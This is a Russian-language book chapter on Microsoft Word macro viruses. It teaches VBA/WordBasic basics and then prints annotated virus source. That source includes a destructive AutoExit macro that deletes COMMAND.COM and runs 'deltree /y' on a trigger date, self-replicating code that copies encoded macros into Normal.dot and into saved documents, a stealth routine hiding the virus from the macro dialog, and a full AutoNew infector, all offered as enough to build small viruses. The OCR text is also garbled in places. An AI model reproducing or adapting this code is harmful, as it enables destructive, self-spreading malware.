Макровирусы
СОДЕРЖАНИЕ: В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA.МАКРО-ВИРУСЫ
В этой главе рассказано
о макровирусах. Подробно опи-
сана процедура и методы за-
ражения файлов. Представлен
исходный текст макровируса
с подробными комментария-
ми. Приведены основные
сведения о языке VBA, его про-
цедурах, функциях, стандарт-
ных конструкциях.
Как известно, в последнее время большое распространение получили
макро-вирусы. По сведениям из различных источников, на эти вирусы
приходится от 70 до 80 процентов заражений. Изложенный ниже мате-
риал поможет разобраться в вирусах этого типа.
Инструментарий
Для изучения макро-вирусов понадобится некоторое программное обес-
печение. В качестве полигона необходим MS-WORD версии 6.0 или
выше. Для изучения зашифрованных макросов может пригодиться диз-
ассемблер макросов (автор AURODREPH из VBB). Для более полного
понимания всего изложенного ниже желательно иметь базовые знания
о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя-
тельно рекомендуется создать резервную копию шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно
этот документ обычно заражается макро-вирусом. Когда все готово, са-
мое время перейти к основам макро-вирусов.
Общие сведения
Макрос - это программа, написанная на некотором языке, которая ис-
пользуется обычно для автоматизации определенных процессов внутри
приложений. В данном случае разговор пойдет о языках Visual Basic for
Applications (VBA) и WordBasic (WB), которые Microsoft использует в
своих программах (в частности, Excel, Project и PowerPoint используют
VBA, a WinWord - WB).
Далее будем считать стандартным языком VBA, так как он представля-
ет собой попытку унифицировать макроязык, сделать его общим для
всех программ Microsoft. Несмотря на то, что WB имеет некоторые от-
личия, в том числе и в синтаксисе, структура кода этих языков похожа.
При необходимости будет особо отмечено, что речь идет о WB.
Макрос VBA - это вызываемые процедуры. Они бывают двух типов:
процедуры-подпрограммы и процедуры-функции.
Процедуры-подпрограммы могут исполняться непосредственно или вы-
зываться из других макросов. Синтаксис их следующий:
Sub Имя_Макроса
- код макроса -
Комментарий начинается с апострофа
End Sub
Пример;
Данный макрос открывает диалоговое окно и выводит сообщение
Sub Stupid_Greeting
MsgBox Hello World!
End Sub
Процедуры-функции (также называемые просто функциями) возвраща-
ют значение, которое может быть передано в качестве параметра другой
процедуре. Их синтаксис:
Function Имя_Функции(Аргументы)
- Инструкции -
Комментарий
End Function
Пример:
Суммирует параметры а и b и возвращает
результат в переменную AddAB
Function AddAB(a.b)
AddAB=a+b
End Function
Конечно, в документ можно вставить столько макросов, сколько нужно
(или сколько хочется), ограничений на их количество нет. Набор мак-
росов (процедур-подпрограмм и процедур-функций), составляющих до-
кумент, называется модулем VBA.
Язык VBA работает также с объектами (внутри модулей VBA можно
делать ссылки на документы, графику). Объекты обладают свойствами.
Например, свойством (или атрибутом) объекта является его цвет.
VBA также позволяет работать с переменными. Как любой язык струк-
турного типа, VBA имеет типичные конструкции:
цикл For-next:
Sub Counter Процедура
lnfect_Num=0
For Count=1 to 10 Цикл от 1 до 10
lnfect_Num=lnfect_Num+Count
Next Count
MsgBox Достигли максимального количества заражений
End Sub
4-1436
условие If-then:
Sub lnfect_Check
If lnfect_Num=0 Then MsgBox Файл не заражен
End Sub
конструкция With-end with (используется для работы с несколькими
свойствами конкретного объекта):
Sub ChangeProperties
With Selection
.Font.Bold=True
.Font.Colorlndex=3 красный цвет
End With
End Sub
селектор Select case-end case:
Sub CheckJnfection
Select Case lnfect_Num
Case 0
MsgBox Файл не заражен
Case is О
MsgBox Файл заражен
Case is О
lnfect_Num=0
End Case
End Sub
Полезным инструментом для работы с VBA является окно отладки.
В нем можно трассировать код, вносить в него изменения и делать мно-
гое другое. В процессе отладки для остановки на некоторое время ис-
полнения кода используются флаги. Чтобы можно было анализировать
содержимое конкретных переменных и/или инструкций, после каждой
команды выводятся сообщения (в отладчике VBA для прерывания ис-
полнения кода можно ставить также контрольные точки).
Нужно обратить внимание на разнообразные аргументы функций.
Как уже говорилось, структура их следующая:
Function Имя(Аргументы)
[.]
End Function
Аргументами могут быть константы, переменные или выражения.
Процедуры могут быть и без аргументов.
Function Get_Name()
Name=Application.UserName
End Function
Некоторые функции всегда требуют фиксированное число аргументов
(до 60). Другие функции имеют несколько обязательных аргументов,
а остальные могут отсутствовать.
После того, как основы VBA стали понятны, идем дальше. Итак, виру-
сы и троянцы на VBA.
Язык VBA универсален, и тому есть две причины. Во-первых, этот язык
прост в изучении и использовании, поскольку он является языком ви-
зуального программирования, он ориентирован на события, а не на
объекты. С его помощью без особых затрат времени очень легко созда-
вать сложные модули. Во вторых, можно использовать большое количе-
ство предопределенных функций, облегчающих работу. В третьих, име-
ются функции (или макросы) автоматического выполнения, что
позволяет упростить написание процедур автокопирования, занесения
в память и прочих используемых стандартными DOS-вирусами.
Помимо этого, преимуществом VBA является свойство переносимости.
VBA работает под Win З.х, Win95, WinNT, MacOS и так далее, то есть
в любой операционной системе, где можно запустить приложения его
поддерживающие.
VBA представляет собой язык, адаптированный к языку приложения,
из-под которого он запущен. Это означает, что если на компьютере ус-
тановлена, например, испанская версия WinWord, то имена предопреде-
ленных функций будут также на испанском. Так что два следующих
макроса - вовсе не одно и то же.
Первый макрос (испанский):
Sub Demo_Macro
Con Seleccion.Fuente
.Nombre=Times
Fin Con
End Sub
Второй макрос (английский):
Sub Demo_Macro
With Selection.Font
.Name=Times
4*
End With
End Sub
Последний макрос не будет работать в испанской версии WinWord
(а первый - в английской) - он вызовет ошибку выполнения макроса.
Еще отметим, что VBA - язык интерпретируемого (некомпилируемого)
типа, так что каждая ошибка выполнения проявляется в полете.
Существуют функции, единые для всех версий VBA, вне зависимости
от языка. Например, автоматический макрос AutoExec.
Всего таких специальных макросов пять, выполняются они автомати-
чески:
AutoExec: это макрос, активируемый при загрузке текстового процессо-
ра, но только в том случае, если он сохранен в шаблоне Normal.dot или
в каталоге стандартных приложений;
AutoNew: активизируется при создании нового документа;
AutoOpen: активизируется при открытии существующего документа;
AutoClose: активизируется при закрытии документа;
AutoExit: активизируется при выходе из текстового процессора.
В качестве доказательства силы и универсальности этих макросов рас-
смотрим следующий фрагмент кода (о языке уже договорились).
Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main
Проверим регистрационное имя
If Application. Username MaD_MoTHeR Then
Снимем атрибуты COMMAND.COM
SetAttr C:\COMMAND.COM,0
Откроем для проверки - вдруг появятся ошибки
Open CACOMMAND.COM for Output as #1
Если ошибки есть, то закроем.
Close #1
и удалим
Kill CACOMMAND.COM
End If
Проверим месяц и дату. Если 29 февраля, то выполним
команду deltree /у nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell deltree /y *.* nu
End If
End If
End Sub
Что делает этот макрос? При выходе из WinWord он проверяет два па-
раметра: имя, на которое зарегистрирован WinWord (если это не
MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую
системную дату (если это 29 февраля, выполняется команда deltree /у
*.* nub).
Очень важно знать, как адаптировать автоматический макрос (ниже
приведен простейший вариант), чтобы активизировать его в открывае-
мый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:
name$=WindowName$()+:AutoNew
этот макрос будет выполняться каждый раз
при создании нового документа
Теперь нужно записать макрос в шаблон NORMAL.DOT простой ко-
мандой:
MacroCopy name$, Global:AutoNew
Это стандартный способ работы макро-вирусов, но есть еще много дру-
гих, более интересных способов заражения. Всего то и нужно, что не-
много воображения и несколько строчек кода. Одним из трюков, кото-
рый усложняет подобные вирусы и затрудняет их анализ, является
кодирование макро-вирусов.
MacroCopy MyTemplate:MyMacro, GlobahAutoClose, 1
Если выполняется команда MacroCopy с параметром, равным 1 (или
другому числу больше 0), то в результате копирования будет получен
только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начина-
ются с автовыполняемого макроса, заражающего глобальный шаблон
Normal.dot. Также в их состав входят некоторые макросы, которые зара-
жают файлы при определенных действиях (FileSaveAs, FileSave,
ToolsMacros). Документы заражаются при совершении над ними опера-
ций вирусными макросами, то есть они будут инфицироваться при
открытии.
Код для процедуры автовыполнения может выглядеть примерно так:
Sub MAIN
On Error Goto Abort
iMacroCount=CountMacros(0, 0) Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)=PayLoad Then
binstalled =-1 с помощью макроса Payload
End If
If MacroName$(i, 0, 0)=FileSaveAs Then
bTooMuchTrouble =-1 но если есть макрос FileSaveAs,
то заразить тяжело
End If
Next i
If Not binstalled And Not bTooMuchTrouble Then
Добавим макросы FileSaveAs и копии AutoExec и FileSave
Payload используется только для проверки на зараженность
,1 - кодирует макросы, делая их нечитаемыми в Word
iWW6llnstance=Val(GetDocumentVar$(WW6lnfector))
sMe$=FileName$()
Macro$=sMe$+:PayLoad
MacroCopy Macro$, Global:PayLoad, 1
Macro$=sMe$+:FileOpen Будет происходить заражение
MacroCopy Macro$, GlobahFileOpen, 1
Macro$=sMe$+:FileSaveAs
MacroCopy Macro$, GlobahFileSaveAs, 1
Macro$=sMe$+:AutoExec
MacroCopy Macro$, GlobahAutoExec, 1
SetProfileString WW6I, Str$(iWW6llnstance+1)
End If
Abort:
End Sub
Процедура SaveAs
Она копирует макро-вирус в активный документ при его сохранении
через команду File/SaveAs. Эта процедура использует во многом схо-
жую с процедурой AutoExec технологию. Код для нее:
Sub MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy FileSaveAs, WindowName$()+:FileSaveAs
Заражает при сохранении документа
MacroCopy FileSave, WindowName$()+:FileSave
MacroCopy PayLoad, WindowName$()+:PayLoad
MacroCopy FileOpen, WindowName$()+:FileOpen
При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub
Этой информации вполне достаточно для создания небольших макро-
вирусов.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox start ToolsMacro
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox 1
GetCurValues dig
If macros.bDebug Then MsgBox 2
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On Error Goto ErrorRoutine При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done Переход на метку Done
ErrorRoutine:
On Error Goto Done Переход на метку Done
If macros.bDebug Then
MsgBox error +Str$(Err)+ occurred Сообщение об ошибке
End If
Done:
End Sub
Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.
Пример макро-вируса
Выше были изложены основы для изучения макро-вирусов. Пришло
время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] U
Encryption key: DF
Sub MAIN
Включаем обработку автоматических макросов
DisableAutoMacros 0
Проверим, установлен ли макрос. Если макрос AutoExec
присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then
Заразим. Копируем макрос
MacroCopy WindowName$()+:AutoExec, GlobahAutoExec, 1
MacroCopy WindowName$()+:AutoNew, Global:AutoNew, 1
MacroCopy WmdowName$()+:AutoOpen, Global:AutoOpen, 1
MacroCopy WindowName$()+:DateiSpeichem, Global:DateiSpeichern, 1
MacroCopy WindowName$()+:DateiSpeichernUnter,
Global.-DateiSpeichernllnter, 1
MacroCopy WindowName$()+:DateiBeenden,
GlobahDateiBeenden, 1
MacroCopy WindowName$() + : ExtrasOptionen ,
Global :ExtrasOptionen, 1
MacroCopy WindowName$()+:DateiDokvorlagen,
GlobaLDateiDokvorlagen, 1
MacroCopy WindowName$()+:lt, Global:lt, 1
MacroCopy WindowName$()+:DateiDrucken, GlobahDateiDrucken, 1
End If
End Sub
Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
Установим переменную Installed в 0 (инициализация переменной).
При положительном результате проверки установим ее в 1
lnstalled=0
Проверим, есть ли макросы
If CountMacros(O) 0 Then
Проверим имена макросов. Если есть AutoExec,
установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)=AutoExec Then
lnstalled=1
End If
Next i
End If
End Function
Function Forgetit
Forgetlt=0
Section$=Compatibility
ProfilName$=Nomvir
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$=Ox0690690 Then
Forgetlt=1
End If
End Function